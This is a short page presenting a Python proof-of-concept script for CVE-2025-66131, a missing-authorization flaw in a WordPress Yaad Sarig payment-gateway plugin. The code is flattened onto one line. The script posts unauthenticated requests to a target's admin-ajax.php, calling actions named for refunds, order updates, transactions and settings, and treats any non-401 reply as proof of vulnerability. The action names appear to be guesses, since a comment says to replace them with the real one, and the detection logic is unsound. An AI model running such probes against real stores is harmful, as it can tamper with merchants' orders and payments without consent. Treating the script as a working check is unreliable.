CVE-2025-66131 WordPress Yaad Sarig支付网关插件缺失授权漏洞

import requests import sys # CVE-2025-66131 PoC - Missing Authorization in yaad-sarig-payment-gateway-for-wc # Target: WordPress site with yaad-sarig-payment-gateway-for-wc plugin <= 2.2.11 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-66131 This vulnerability allows unauthorized access to plugin functions """ # Common WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try to access plugin's sensitive functions without authentication # Replace ACTION_NAME with actual vulnerable action from the plugin vulnerable_actions = [ "yaad_sarig_get_transaction", "yaad_sarig_update_order", "yaad_sarig_refund", "yaad_sarig_get_settings" ] print(f"[*] Testing {target_url} for CVE-2025-66131") print(f"[*] Target plugin: yaad-sarig-payment-gateway-for-wc <= 2.2.11") for action in vulnerable_actions: try: data = { "action": action, "order_id": "1" # Test with a sample order ID } response = requests.post(ajax_url, data=data, timeout=10) # If we get a non-401 response, the function might be accessible if response.status_code != 401: print(f"[!] Potential vulnerability found: {action}") print(f"[!] Status code: {response.status_code}") print(f"[!] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {action}: {e}") print("[*] No obvious vulnerability detected (manual verification recommended)") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66131-poc.py <target_url>") print("Example: python cve-2025-66131-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)